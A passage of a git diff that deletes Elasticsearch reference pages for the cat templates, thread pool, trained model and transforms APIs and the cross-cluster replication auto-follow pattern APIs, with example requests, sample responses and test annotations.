-action                         task_id                    parent_task_id             type      start_time    timestamp running_time ip             node
-cluster:monitor/tasks/lists[n] oTUltX4IQMOUUVeiohTt8A:124 oTUltX4IQMOUUVeiohTt8A:123 direct    1458585884904 01:48:24  44.1micros   127.0.0.1:9300 oTUltX4IQMOUUVeiohTt8A
-cluster:monitor/tasks/lists    oTUltX4IQMOUUVeiohTt8A:123 -                          transport 1458585884904 01:48:24  186.2micros  127.0.0.1:9300 oTUltX4IQMOUUVeiohTt8A
-----
-// TESTRESPONSE[skip:No tasks to retrieve]
-// TESTRESPONSE[non_json]
diff --git a/docs/reference/cat/templates.asciidoc b/docs/reference/cat/templates.asciidoc
deleted file mode 100644
index 8650e3d4dab..00000000000
--- a/docs/reference/cat/templates.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-[[cat-templates]]
-=== cat templates API
-++++
-<titleabbrev>cat templates</titleabbrev>
-++++
-
-Returns information about <<index-templates,index templates>> in a cluster.
-You can use index templates to apply <<index-modules-settings,index settings>>
-and <<mapping,field mappings>> to new indices at creation.
-
-
-[[cat-templates-api-request]]
-==== {api-request-title}
-
-`GET /_cat/templates/<template_name>`
-
-`GET /_cat/templates`
-
-[[cat-templates-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-templates-path-params]]
-==== {api-path-parms-title}
-
-`<template_name>`::
-(Optional, string) Comma-separated list of index template names used to limit
-the request. Accepts wildcard expressions.
-
-
-[[cat-templates-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-templates-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET _cat/templates/my-template-*?v=true&s=name
-----
-// TEST[s/^/PUT _index_template\/my-template-0\n{"index_patterns": "te*", "priority": 200}\n/]
-// TEST[s/^/PUT _index_template\/my-template-1\n{"index_patterns": "tea*", "priority": 201}\n/]
-// TEST[s/^/PUT _index_template\/my-template-2\n{"index_patterns": "teak*", "priority": 202, "version": 7}\n/]
-
-The API returns the following response:
-
-[source,txt]
-----
-name          index_patterns order version composed_of
-my-template-0 [te*]          200           []
-my-template-1 [tea*]         201           []
-my-template-2 [teak*]        202   7       []
-----
-// TESTRESPONSE[s/\*/\\*/ s/\[/\\[/ s/\]/\\]/ non_json]
-
-////
-[source,console]
-----
-DELETE _index_template/my-template-0
-DELETE _index_template/my-template-1
-DELETE _index_template/my-template-2
-----
-// TEST[continued]
-////
diff --git a/docs/reference/cat/thread_pool.asciidoc b/docs/reference/cat/thread_pool.asciidoc
deleted file mode 100644
index 7bc1598515e..00000000000
--- a/docs/reference/cat/thread_pool.asciidoc
+++ /dev/null
@@ -1,178 +0,0 @@
-[[cat-thread-pool]]
-=== cat thread pool API
-++++
-<titleabbrev>cat thread pool</titleabbrev>
-++++
-
-Returns thread pool statistics for each node in a cluster. Returned information
-includes all <<modules-threadpool,built-in thread pools>> and custom thread
-pools.
-
-
-[[cat-thread-pool-api-request]]
-==== {api-request-title}
-
-`GET /_cat/thread_pool/<thread_pool>`
-
-`GET /_cat/thread_pool`
-
-[[cat-thread-pool-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-thread-pool-path-params]]
-==== {api-path-parms-title}
-
-`<thread_pool>`::
-(Optional, string) Comma-separated list of thread pool names used to limit the
-request. Accepts wildcard expressions.
-
-
-[[cat-thread-pool-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
---
-If you do not specify which columns to include, the API returns the default
-columns in the order listed below. If you explicitly specify one or more
-columns, it only returns the specified columns.
-
-Valid columns are:
-
-`node_name`::
-(Default) Node name, such as `I8hydUG`.
-
-`name`::
-(Default) Name of the thread pool, such as `analyze` or `generic`.
-
-`active`, `a`::
-(Default) Number of active threads in the current thread pool.
-
-`queue`,`q`::
-(Default) Number of tasks in the queue for the current thread pool.
-
-`rejected`, `r`::
-(Default) Number of tasks rejected by the thread pool executor.
-
-`completed`, `c`::
-Number of tasks completed by the thread pool executor.
-
-`core`, `cr`::
-Configured core number of active threads allowed in the current thread pool.
-
-`ephemeral_id`,`eid`::
-Ephemeral node ID.
-
-`host`, `h`::
-Hostname for the current node.
-
-`ip`, `i`::
-IP address for the current node.
-
-`keep_alive`, `k`::
-Configured keep alive time for threads.
-
-`largest`, `l`::
-Highest number of active threads in the current thread pool.
-
-`max`, `mx`::
-Configured maximum number of active threads allowed in the current thread pool.
-
-`node_id`, `id`::
-ID of the node, such as `k0zy`.
-
-`pid`, `p`::
-Process ID of the running node.
-
-`pool_size`, `psz`::
-Number of threads in the current thread pool.
-
-`port`, `po`::
-Bound transport port for the current node.
-
-`queue_size`, `qs`::
-Maximum number of tasks permitted in the queue for the current thread pool.
-
-`size`, `sz`::
-Configured fixed number of active threads allowed in the current thread pool.
-
-`type`, `t`::
-Type of thread pool. Returned values are `fixed` or `scaling`.
-
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-`size`::
-(Optional, <<size-units, size unit>>) Multiplier used to display quantities.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-thread-pool-api-example]]
-==== {api-examples-title}
-
-[[cat-thread-pool-api-ex-default]]
-===== Example with default columns
-
-[source,console]
---------------------------------------------------
-GET /_cat/thread_pool
---------------------------------------------------
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-node-0 analyze             0 0 0
-...
-node-0 fetch_shard_started 0 0 0
-node-0 fetch_shard_store   0 0 0
-node-0 flush               0 0 0
-...
-node-0 write               0 0 0
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./(node-0 \\S+ 0 0 0\n)*/]
-// TESTRESPONSE[s/\d+/\\d+/ non_json]
-// The substitutions do two things:
-// 1. Expect any number of extra thread pools. This allows us to only list a
-//    few thread pools. The list would be super long otherwise. In addition,
-//    if xpack is installed then the list will contain more thread pools and
-//    this way we don't have to assert about them.
-// 2. Expect any number of active, queued, or rejected items. We really don't
-//    know how many there will be and we just want to assert that there are
-//    numbers in the response, not *which* numbers are there.
-
-
-[[cat-thread-pool-api-ex-headings]]
-===== Example with explicit columns
-
-The following API request returns the `id`, `name`, `active`, `rejected`, and
-`completed` columns. The request limits returned information to the `generic`
-thread pool.
-
-[source,console]
---------------------------------------------------
-GET /_cat/thread_pool/generic?v=true&h=id,name,active,rejected,completed
---------------------------------------------------
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id                     name    active rejected completed
-0EWUhXeBQtaVGlexUeVwMg generic      0        0        70
---------------------------------------------------
-// TESTRESPONSE[s/0EWUhXeBQtaVGlexUeVwMg/[\\w-]+/ s/\d+/\\d+/ non_json]
-
diff --git a/docs/reference/cat/trainedmodel.asciidoc b/docs/reference/cat/trainedmodel.asciidoc
deleted file mode 100644
index f3783c25c1d..00000000000
--- a/docs/reference/cat/trainedmodel.asciidoc
+++ /dev/null
@@ -1,125 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[cat-trained-model]]
-=== cat trained model API
-++++
-<titleabbrev>cat trained model</titleabbrev>
-++++
-
-Returns configuration and usage information about {infer} trained models.
-
-
-[[cat-trained-model-request]]
-==== {api-request-title}
-
-`GET /_cat/ml/trained_models`
-
-
-[[cat-trained-model-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-privileges:
-
-* cluster: `monitor_ml`
-
-For more information, see <<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-////
-[[cat-trained-model-desc]]
-==== {api-description-title}
-////
-
-
-[[cat-trained-model-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
-If you do not specify which columns to include, the API returns the default
-columns. If you explicitly specify one or more columns, it returns only the
-specified columns.
-+
-Valid columns are:
-
-`create_time`, `ct`:::
-The time when the trained model was created.
-
-`created_by`, `c`, `createdBy`:::
-Information on the creator of the trained model.
-
-`data_frame_analytics_id`, `df`, `dataFrameAnalytics`:::
-Identifier for the {dfanalytics-job} that created the model. Only displayed if 
-it is still available.
-
-`description`, `d`:::
-The description of the trained model.
-
-`heap_size`, `hs`, `modelHeapSize`:::
-(Default)
-The estimated heap size to keep the trained model in memory.
-
-`id`:::
-(Default)
-Idetifier for the trained model.
-
-`ingest.count`, `ic`, `ingestCount`:::
-The total number of documents that are processed by the model.
-
-`ingest.current`, `icurr`, `ingestCurrent`:::
-The total number of document that are currently being handled by the trained 
-model.
-
-`ingest.failed`, `if`, `ingestFailed`:::
-The total number of failed ingest attempts with the trained model.
-
-`ingest.pipelines`, `ip`, `ingestPipelines`:::
-(Default)
-The total number of ingest pipelines that are referencing the trained model.
-
-`ingest.time`, `it`, `ingestTime`:::
-The total time that is spent processing documents with the trained model.
-
-`license`, `l`:::
-The license level of the trained model.
-
-`operations`, `o`, `modelOperations`:::
-(Default)
-The estimated number of operations to use the trained model. This number helps 
-measuring the computational complexity of the model.
-
-`version`, `v`:::
-The {es} version number in which the trained model was created.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-trained-model-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _cat/ml/trained_models?h=c,o,l,ct,v&v=ture
---------------------------------------------------
-// TEST[skip:kibana sample data]
-
-
-[source,console-result]
-----
-id                           created_by operations license  create_time              version
-ddddd-1580216177138              _xpack 196        PLATINUM 2020-01-28T12:56:17.138Z 8.0.0
-flight-regress-1580215685537     _xpack 102        PLATINUM 2020-01-28T12:48:05.537Z 8.0.0
-lang_ident_model_1               _xpack 39629      BASIC    2019-12-05T12:28:34.594Z 7.6.0
-----
-// TESTRESPONSE[skip:kibana sample data]
diff --git a/docs/reference/cat/transforms.asciidoc b/docs/reference/cat/transforms.asciidoc
deleted file mode 100644
index 947bfdd81aa..00000000000
--- a/docs/reference/cat/transforms.asciidoc
+++ /dev/null
@@ -1,195 +0,0 @@
-[[cat-transforms]]
-=== cat {transforms} API
-++++
-<titleabbrev>cat transforms</titleabbrev>
-++++
-
-Returns configuration and usage information about {transforms}.
-
-[[cat-transforms-api-request]]
-==== {api-request-title}
-
-`GET /_cat/transforms/<transform_id>` +
-
-`GET /_cat/transforms/_all` +
-
-`GET /_cat/transforms/*` +
-
-`GET /_cat/transforms`
-
-[[cat-transforms-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_transform`
-cluster privileges to use this API. The built-in `transform_user` role has these
-privileges. For more information, see <<security-privileges>> and
-<<built-in-roles>>.
-
-//[[cat-transforms-api-desc]]
-//==== {api-description-title}
-
-[[cat-transforms-api-path-params]]
-==== {api-path-parms-title}
-
-`<transform_id>`::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id-wildcard]
-
-[[cat-transforms-api-query-params]]
-==== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-match-transforms1]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-`from`::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from-transforms]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
-If you do not specify which columns to include, the API returns the default
-columns. If you explicitly specify one or more columns, it returns only the
-specified columns.
-+
-Valid columns are:
-
-`changes_last_detection_time`, `cldt`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=checkpointing-changes-last-detected-at]
-
-`checkpoint_duration_time_exp_avg`, `cdtea`, `checkpointTimeExpAvg`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=exponential-avg-checkpoint-duration-ms]
-
-`create_time`, `ct`, `createTime`:::
-(Default)
-The time the {transform} was created.
-
-`description`, `d`:::
-(Default)
-The description of the {transform}.
-
-`dest_index`, `di`, `destIndex`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-index]
-
-`documents_indexed`, `doci`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-indexed]
-
-`docs_per_second`, `dps`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-docs-per-second]
-
-`documents_processed`, `docp`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-processed]
-
-`frequency`, `f`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=frequency]
-
-`id`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-`index_failure`, `if`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-failures]
-
-`index_time`, `itime`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-time-ms]
-
-`index_total`, `it`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-total]
-
-`indexed_documents_exp_avg`, `idea`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=exponential-avg-documents-indexed]
-
-`max_page_search_size`, `mpsz`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-max-page-search-size]
-
-`pages_processed`, `pp`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pages-processed]
-
-`pipeline`, `p`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-pipeline]
-
-`processed_documents_exp_avg`, `pdea`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=exponential-avg-documents-processed]
-
-`processing_time`, `pt`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=processing-time-ms]
-
-`reason`, `r`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=state-transform-reason]
-
-`search_failure`, `sf`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-failures]
-
-`search_time`, `stime`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-time-ms]
-
-`search_total`, `st`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-total]
-
-`source_index`, `si`, `sourceIndex`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-index-transforms]
-
-`state`, `s`:::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=state-transform]
-
-`transform_type`, `tt`:::
-(Default)
-Indicates the type of {transform}: `batch` or `continuous`.
-
-`trigger_count`, `tc`:::
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=trigger-count]
-
-`version`, `v`:::
-(Default)
-The version of {es} that existed on the node when the {transform} was
-created.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-`size`::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=size-transforms]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-[[cat-transforms-api-examples]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/transforms?v=true&format=json
---------------------------------------------------
-// TEST[skip:kibana sample data]
-
-[source,console-result]
-----
-[
-  {
-    "id" : "ecommerce_transform",
-    "create_time" : "2020-03-20T20:31:25.077Z",
-    "version" : "7.7.0",
-    "source_index" : "kibana_sample_data_ecommerce",
-    "dest_index" : "kibana_sample_data_ecommerce_transform",
-    "pipeline" : null,
-    "description" : "Maximum priced ecommerce data by customer_id in Asia",
-    "transform_type" : "continuous",
-    "frequency" : "5m",
-    "max_page_search_size" : "500",
-    "state" : "STARTED"
-  }
-]
-----
-// TESTRESPONSE[skip:kibana sample data]
diff --git a/docs/reference/ccr/apis/auto-follow/delete-auto-follow-pattern.asciidoc b/docs/reference/ccr/apis/auto-follow/delete-auto-follow-pattern.asciidoc
deleted file mode 100644
index 602910bdda4..00000000000
--- a/docs/reference/ccr/apis/auto-follow/delete-auto-follow-pattern.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-delete-auto-follow-pattern]]
-=== Delete auto-follow pattern API
-++++
-<titleabbrev>Delete auto-follow pattern</titleabbrev>
-++++
-
-Delete auto-follow patterns.
-
-[[ccr-delete-auto-follow-pattern-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/my_auto_follow_pattern
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index_patterns" :
-  [
-    "leader_index"
-  ],
-  "follow_index_pattern" : "{{leader_index}}-follower"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster]
-// TESTSETUP
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/<auto_follow_pattern_name>
---------------------------------------------------
-// TEST[s/<auto_follow_pattern_name>/my_auto_follow_pattern/]
-
-[[ccr-delete-auto-follow-pattern-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ccr` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-delete-auto-follow-pattern-desc]]
-==== {api-description-title}
-
-This API deletes a configured collection of
-<<ccr-auto-follow,auto-follow patterns>>.
-
-[[ccr-delete-auto-follow-pattern-path-parms]]
-==== {api-path-parms-title}
-
-`<auto_follow_pattern_name>`::
-  (Required, string) Specifies the auto-follow pattern collection to delete.
-
-
-[[ccr-delete-auto-follow-pattern-examples]]
-==== {api-examples-title}
-
-This example deletes an auto-follow pattern collection named
-`my_auto_follow_pattern`:
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/my_auto_follow_pattern
---------------------------------------------------
-// TEST[setup:remote_cluster]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc b/docs/reference/ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc
deleted file mode 100644
index 5ea23782e19..00000000000
--- a/docs/reference/ccr/apis/auto-follow/get-auto-follow-pattern.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-get-auto-follow-pattern]]
-=== Get auto-follow pattern API
-++++
-<titleabbrev>Get auto-follow pattern</titleabbrev>
-++++
-
-Get auto-follow patterns.
-
-[[ccr-get-auto-follow-pattern-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/my_auto_follow_pattern
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index_patterns" :
-  [
-    "leader_index*"
-  ],
-  "follow_index_pattern" : "{{leader_index}}-follower"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster]
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/my_auto_follow_pattern
---------------------------------------------------
-// TEST
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /_ccr/auto_follow/
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-GET /_ccr/auto_follow/<auto_follow_pattern_name>
---------------------------------------------------
-// TEST[s/<auto_follow_pattern_name>/my_auto_follow_pattern/]
-
-[[ccr-get-auto-follow-pattern-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ccr` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-get-auto-follow-pattern-desc]]
-==== {api-description-title}
-
-This API gets configured <<ccr-auto-follow,auto-follow patterns>>.
-This API will return the specified auto-follow pattern collection.
-
-[[ccr-get-auto-follow-pattern-path-parms]]
-==== {api-path-parms-title}
-
-`<auto_follow_pattern_name>`::
-  (Optional, string) Specifies the auto-follow pattern collection that you want
-  to retrieve. If you do not specify a name, the API returns information for all
-  collections.
-
-[[ccr-get-auto-follow-pattern-examples]]
-==== {api-examples-title}
-
-This example retrieves information about an auto-follow pattern collection
-named `my_auto_follow_pattern`:
-
-[source,console]
---------------------------------------------------
-GET /_ccr/auto_follow/my_auto_follow_pattern
---------------------------------------------------
-// TEST[setup:remote_cluster]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "patterns": [
-    {
-      "name": "my_auto_follow_pattern",
-      "pattern": {
-        "active": true,
-        "remote_cluster" : "remote_cluster",
-        "leader_index_patterns" :
-        [
-          "leader_index*"
-        ],
-        "follow_index_pattern" : "{{leader_index}}-follower"
-      }
-    }
-  ]
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/auto-follow/pause-auto-follow-pattern.asciidoc b/docs/reference/ccr/apis/auto-follow/pause-auto-follow-pattern.asciidoc
deleted file mode 100644
index c00dd3db549..00000000000
--- a/docs/reference/ccr/apis/auto-follow/pause-auto-follow-pattern.asciidoc
+++ /dev/null
@@ -1,88 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-pause-auto-follow-pattern]]
-=== Pause auto-follow pattern API
-++++
-<titleabbrev>Pause auto-follow pattern</titleabbrev>
-++++
-
-Pauses an auto-follow pattern.
-
-[[ccr-pause-auto-follow-pattern-request]]
-==== {api-request-title}
-
-`POST /_ccr/auto_follow/<auto_follow_pattern_name>/pause`
-
-[[ccr-pause-auto-follow-pattern-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ccr` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-pause-auto-follow-pattern-desc]]
-==== {api-description-title}
-
-This API pauses an <<ccr-auto-follow,auto-follow pattern>>. When this API returns, the auto-follow pattern
-is inactive and ignores any new index created on the remote cluster that matches any of
-the auto-follow's patterns. Paused auto-follow patterns appear with the `active` field
-set to `false` in the <<ccr-get-auto-follow-pattern, GET auto-follow patterns API>>.
-
-You can resume auto-following with the <<ccr-resume-auto-follow-pattern,resume auto-follow pattern API>>.
-Once resumed, the auto-follow pattern is active again and automatically configure
-follower indices for newly created indices on the remote cluster that match its patterns.
-Remote indices created while the
-pattern was paused will also be followed, unless they have been deleted or closed in the
-meantime.
-
-[[ccr-pause-auto-follow-pattern-path-parms]]
-==== {api-path-parms-title}
-
-`<auto_follow_pattern_name>`::
-  (Required, string) Name of the auto-follow pattern to pause.
-
-
-[[ccr-pause-auto-follow-pattern-examples]]
-==== {api-examples-title}
-
-This example pauses an auto-follow pattern named `my_auto_follow_pattern`:
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/my_auto_follow_pattern
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index_patterns" :
-  [
-    "leader_index"
-  ],
-  "follow_index_pattern" : "{{leader_index}}-follower"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster]
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/my_auto_follow_pattern
---------------------------------------------------
-// TEST
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /_ccr/auto_follow/my_auto_follow_pattern/pause
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc b/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc
deleted file mode 100644
index cd30494de10..00000000000
--- a/docs/reference/ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc
+++ /dev/null
@@ -1,131 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-put-auto-follow-pattern]]
-=== Create auto-follow pattern API
-++++
-<titleabbrev>Create auto-follow pattern</titleabbrev>
-++++
-
-Creates an auto-follow pattern.
-
-[[ccr-put-auto-follow-pattern-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/<auto_follow_pattern_name>
-{
-  "remote_cluster" : "<remote_cluster>",
-  "leader_index_patterns" :
-  [
-    "<leader_index_pattern>"
-  ],
-  "follow_index_pattern" : "<follow_index_pattern>"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster]
-// TEST[s/<auto_follow_pattern_name>/auto_follow_pattern_name/]
-// TEST[s/<remote_cluster>/remote_cluster/]
-// TEST[s/<leader_index_patterns>/leader_index*/]
-// TEST[s/<follow_index_pattern>/{{leader_index}}-follower/]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/auto_follow_pattern_name
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[[ccr-put-auto-follow-pattern-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `read` and `monitor`
-index privileges for the leader index patterns. You must also have `manage_ccr`
-cluster privileges on the cluster that contains the follower index. For more
-information, see <<security-privileges>>.
-
-[[ccr-put-auto-follow-pattern-desc]]
-==== {api-description-title}
-
-This API creates a new named collection of
-<<ccr-auto-follow,auto-follow patterns>> against the remote cluster
-specified in the request body. Newly created indices on the remote cluster
-matching any of the specified patterns will be automatically configured as follower
-indices.
-
-[[ccr-put-auto-follow-pattern-path-parms]]
-==== {api-path-parms-title}
-`<auto_follow_pattern_name>`::
-  (Required, string) The name of the collection of auto-follow patterns.
-
-[[ccr-put-auto-follow-pattern-request-body]]
-==== {api-request-body-title}
-
-`remote_cluster`::
-  (Required, string) The <<modules-remote-clusters,remote cluster>> containing
-  the leader indices to match against.
-
-`leader_index_patterns`::
-  (Optional, array) An array of simple index patterns to match against indices
-  in the remote cluster specified by the `remote_cluster` field.
-
-`follow_index_pattern`::
-  (Optional, string) The name of follower index. The template `{{leader_index}}`
-  can be used to derive the name of the follower index from the name of the
-  leader index.
-
-include::../follow-request-body.asciidoc[]
-
-[[ccr-put-auto-follow-pattern-examples]]
-==== {api-examples-title}
-
-This example creates an auto-follow pattern named `my_auto_follow_pattern`:
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/my_auto_follow_pattern
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index_patterns" :
-  [
-    "leader_index*"
-  ],
-  "follow_index_pattern" : "{{leader_index}}-follower",
-  "settings": {
-    "index.number_of_replicas": 0
-  },
-  "max_read_request_operation_count" : 1024,
-  "max_outstanding_read_requests" : 16,
-  "max_read_request_size" : "1024k",
-  "max_write_request_operation_count" : 32768,
-  "max_write_request_size" : "16k",
-  "max_outstanding_write_requests" : 8,
-  "max_write_buffer_count" : 512,
-  "max_write_buffer_size" : "512k",
-  "max_retry_delay" : "10s",
-  "read_poll_timeout" : "30s"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/my_auto_follow_pattern
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
diff --git a/docs/reference/ccr/apis/auto-follow/resume-auto-follow-pattern.asciidoc b/docs/reference/ccr/apis/auto-follow/resume-auto-follow-pattern.asciidoc
deleted file mode 100644
index b7a26e60d32..00000000000
--- a/docs/reference/ccr/apis/auto-follow/resume-auto-follow-pattern.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-resume-auto-follow-pattern]]
-=== Resume auto-follow pattern API
-++++
-<titleabbrev>Resume auto-follow pattern</titleabbrev>
-++++
-
-Resumes an auto-follow pattern.
-
-[[ccr-resume-auto-follow-pattern-request]]
-==== {api-request-title}
-
-`POST /_ccr/auto_follow/<auto_follow_pattern_name>/resume`
-
-[[ccr-resume-auto-follow-pattern-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ccr` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-resume-auto-follow-pattern-desc]]
-==== {api-description-title}
-
